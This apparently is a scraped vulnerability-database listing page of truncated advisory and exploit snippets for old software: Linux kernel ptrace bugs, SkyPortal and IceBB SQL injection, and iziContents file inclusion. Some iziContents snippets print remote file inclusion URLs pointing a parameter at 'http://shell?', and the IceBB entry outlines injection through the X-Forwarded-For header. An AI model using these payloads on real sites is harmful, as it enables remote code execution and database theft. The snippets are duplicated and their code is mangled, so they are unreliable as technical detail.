PT-2009-5132 · Linux · Linux Kernel

Name of the Vulnerable Software and Affected Versions: Linux kernel versions prior to 2.6.31-rc6 Description: The issue allows local users to cause a denial of service, potentially leading to a system crash, by executing a shared flat binary. This triggers an access of an uninitialized cred...

Linux Kernel s390 ptrace本地拒绝服务漏洞

CVE ID：CVE-2008-1514 CNCVE ID：CNCVE-20081514 Linux是一款开放源代码的操作系统。 Linuxs390架构运行31位ptrace存在错误，本地攻击者可以利用漏洞使内核出现Panic，导致拒绝服务攻击。 目前没有详细漏洞细节提供。 Linux Kernel 2.6.x 升级到Linux kernel 2.6.27-rc6版本： http://kernel.org/pub/linux/kernel/v2.6/testing/ChangeLog-2.6.27-rc6...

Null pointer dereference

Skulltag before 0.97d2-RC6 allows remote attackers to cause a denial of service NULL pointer dereference and daemon crash by sending a "command 29" packet when the player is not in the game...

SkyPortal contains multiple SQL injection vulnerabilities

Overview SkyPortal RC6 contains multiple SQL injection vulnerabilities which could allow a remote, unauthenticated attacker to gain access to the back-end database and to add, modify or remove data. Description SkyPortal is a modular web portal and online community system that includes web-based...

Design/Logic Flaw

arch/s390/kernel/ptrace.c in Linux kernel 2.6.9, and other versions before 2.6.27-rc6, on s390 platforms allows local users to cause a denial of service kernel panic via the user-area-padding test from the ptrace testsuite in 31-bit mode, which triggers an invalid dereference...

icebb-database.txt

./includes/functions.php, line 73 $ip = empty$SERVER'HTTPXFORWARDEDFOR' ? $SERVER'REMOTEADDR' : $SERVER'HTTPXFORWARDEDFOR'; $ip = $this-cleankey$ip; $input'ICEBBUSERIP' = $ip; ./icebb.php, line 169 $icebb-clientip = $input'ICEBBUSERIP'; ./admin/index.php, line 112 $icebb-adsess =...

Sql injection

SQL injection vulnerability in admin/index.php in IceBB 1.0-rc6 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For HTTP header...

CVE-2007-6083

IceBB 1.0-rc6 contains a SQL injection in admin/index.php exploitable via the X-Forwarded-For HTTP header. Remote attackers can execute arbitrary SQL commands. The connected documents confirm the affected software and vulnerability class, but do not provide remediation steps or patched versions. ...

CVE-2007-6078

Multiple SQL injection vulnerabilities in SkyPortal RC6 allow remote attackers to execute arbitrary SQL commands via unspecified parameters to 1 nctop.asp; 2 incbookmarks.asp, possibly involving a parameter passed from cpmain.asp; 3 incprofilefunctions.asp; or 4 incSUBSCRIPTIONS.asp; or the 5...

Sql injection

Multiple SQL injection vulnerabilities in SkyPortal RC6 allow remote attackers to execute arbitrary SQL commands via unspecified parameters to 1 nctop.asp; 2 incbookmarks.asp, possibly involving a parameter passed from cpmain.asp; 3 incprofilefunctions.asp; or 4 incSUBSCRIPTIONS.asp; or the 5...

CVE-2007-6078

SkyPortal RC6 contains multiple SQL injection vulnerabilities that could allow a remote, unauthenticated attacker to gain access to the back-end database and add, modify, or remove data by exploiting vulnerable endpoints such as nc_top.asp, inc_bookmarks.asp, inc_profile_functions.asp, inc_SUBSCR...

CVE-2007-6078

Multiple SQL injection vulnerabilities in SkyPortal RC6 allow remote attackers to execute arbitrary SQL commands via unspecified parameters to 1 nctop.asp; 2 incbookmarks.asp, possibly involving a parameter passed from cpmain.asp; 3 incprofilefunctions.asp; or 4 incSUBSCRIPTIONS.asp; or the 5...

IceBB 1.0-rc6 - Remote Database Authentication Details

./includes/functions.php, line 73 $ip = empty$SERVER'HTTPXFORWARDEDFOR' ? $SERVER'REMOTEADDR' : $SERVER'HTTPXFORWARDEDFOR'; $ip = $this-cleankey$ip; $input'ICEBBUSERIP' = $ip; ./icebb.php, line 169 $icebb-clientip = $input'ICEBBUSERIP'; ./admin/index.php, line 112 $icebb-adsess =...

izicontents-rfilfi.txt

o bug /". . . . .-' -...-'/ o o remote file inclusion: http://site/path/modules/search/search.php?languagehome=&rootdp=zZz&gsLanguage=http://shell? http://site/path/modules/poll/inlinepoll.php?languagehome=&rootdp=zZz&gsLanguage=http://shell?...

Design/Logic Flaw

Multiple incomplete blacklist vulnerabilities in iziContents 1 RC6 and earlier allow remote attackers to execute arbitrary PHP code via a URL in 1 the adminhome parameter to modules/poll/pollsummary.php or 2 the rootdp parameter to include/db.php; or a URL in the languagehome parameter to 3...

CVE-2007-5055

CVE-2007-5055 affects iziContents 1 RC6 and earlier. The vulnerability is a directory traversal that allows remote attackers to include and execute arbitrary local files via a .. in the admin_home parameter to modules/poll/poll_summary.php or the rootdp parameter to include/db.php. Connected reco...

CVE-2007-5053

Multiple incomplete blacklist vulnerabilities in iziContents 1 RC6 and earlier allow remote attackers to execute arbitrary PHP code via a URL in 1 the adminhome parameter to modules/poll/pollsummary.php or 2 the rootdp parameter to include/db.php; or a URL in the languagehome parameter to 3...

iziContents rc6 - LocalRemote File Inclusion

iziContents rc6 - LocalRemote File Inclusion o bug /". . . . .-' -...-'/ o o remote file inclusion: http://site/path/modules/search/search.php?languagehome=&rootdp=zZz&gsLanguage=http://shell? http://site/path/modules/poll/inlinepoll.php?languagehome=&rootdp=zZz&gsLanguage=http://shell?...

iziContents <= RC6 (RFI/LFI) Multiple Remote Vulnerabilities

No description provided by source. o bug /". . . . .-' -...-'/ o o , . o -...--".\ vuln.: iziContents = RC6 RFI/LFI Multiple Remote Vulnerabilities author: [email protected] download: http://www.izicontents.com/download/iziContents1RC6.zip greetz: cOndemned, kacper ; remote file inclusion:...

iziContents <= RC6 (RFI/LFI) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ============================================================ iziContents remote file inclusion: http://site/path/modules/search/search.php?languagehome=&rootdp=zZz&gsLanguage=http://shell?...